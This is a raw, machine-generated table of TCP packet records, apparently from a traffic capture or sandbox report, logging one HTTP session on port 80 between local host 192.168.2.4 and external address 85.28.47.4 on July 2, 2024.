Jul 2, 2024 15:26:07.247212887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247222900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247225046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247242928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247246027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247256041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247270107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247275114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247287035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247308016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247309923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247318983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247337103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247345924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247348070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247370958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247373104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247384071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247400999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247411966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247411966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247428894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247432947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247452974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247462988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247498035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247509003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247539043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247541904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247551918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247566938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247575045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247589111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247595072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247606993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247622967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247720003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247731924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247745991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247755051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247757912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247761965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247792006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247812033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247853994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247895956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247915030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247945070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247953892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.247955084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.247983932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.248003960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.248055935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248066902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248084068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248100042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248104095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.248123884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.248146057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.248146057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248157978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248174906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248181105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.248193026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248205900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.248230934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.248514891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.248558998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.292645931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.292673111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.292695045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.292705059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.292723894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.292733908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.292752981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.292756081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.292800903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.292800903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.328820944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328866959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328877926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328893900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328910112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328917027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328922987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328928947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328936100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.328938007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328962088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.328965902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329001904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329014063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329024076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329041958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329050064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329052925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329071045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329075098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329098940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329128981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329153061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329160929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329168081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329188108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329200029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329473019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329514027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329528093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329539061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329567909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.329871893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.329916954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334702969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334719896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334728956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334758043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334769011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334780931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334785938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334808111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334820986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334821939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334821939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334821939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334839106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334840059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334851980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334851980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334868908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334875107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334886074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334907055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334907055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334939957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334940910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334950924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.334973097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.334984064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.335894108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.335908890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.335928917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.335953951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.335974932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.335993052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336004972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336023092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336028099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336038113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336040974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336061954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336072922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336252928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336263895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336282015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336292028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336299896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336314917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336318970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336340904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336350918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336354017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336366892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336381912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336381912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336399078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336406946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336422920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336435080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336522102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336534023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336551905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336575031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336580038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336585999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336596012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336611986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336612940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336626053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336639881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336641073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336654902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336668968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336678982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336693048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336697102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336704969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336726904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336747885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336770058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336781025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336815119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336894035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336905956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336925030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336932898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336955070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.336965084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336976051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336994886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.336999893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337009907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337023020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337025881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337047100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337064981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337088108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337099075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337116957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337127924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337130070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337147951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337148905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337163925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337171078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337184906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337196112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337296963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337308884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337326050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337336063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337337017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337359905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337378025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337434053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337445021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337464094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337474108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337475061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337490082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337495089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337512970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337531090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337541103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337574959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337603092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337641954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337661028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337671041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337688923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337698936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337719917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337743998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337754011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337770939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337779999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337780952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337793112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337801933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337810040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337816000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337833881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337833881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337855101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337867022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337903976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337915897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337934017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.337946892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.337968111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.338104963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.338146925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.338146925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.338160038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.338181019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.338198900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.338332891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.338346958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.338366032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.338378906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.338398933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.396641016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.396658897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.396681070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.396728992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.396770000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.396785021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.396796942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.396821022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.396823883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.396832943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.396838903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.396850109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.396876097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418442011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418484926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418513060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418524981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418539047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418554068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418554068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418571949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418587923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418587923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418589115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418603897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418632030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418638945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418651104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418674946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418683052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418711901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418723106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418740988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418745995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418756962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418761969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418775082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418776035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418785095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418793917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.418802023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.418832064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.419931889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.419944048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.419961929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.419974089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.419981003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.419996023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.419997931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.420012951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.420017958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.420028925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.420032024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.420053005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.420053959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425451040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425478935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425489902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425525904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425544024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425579071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425616980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425710917 CEST	80	49730	85.28.47.4	192.168.2.4
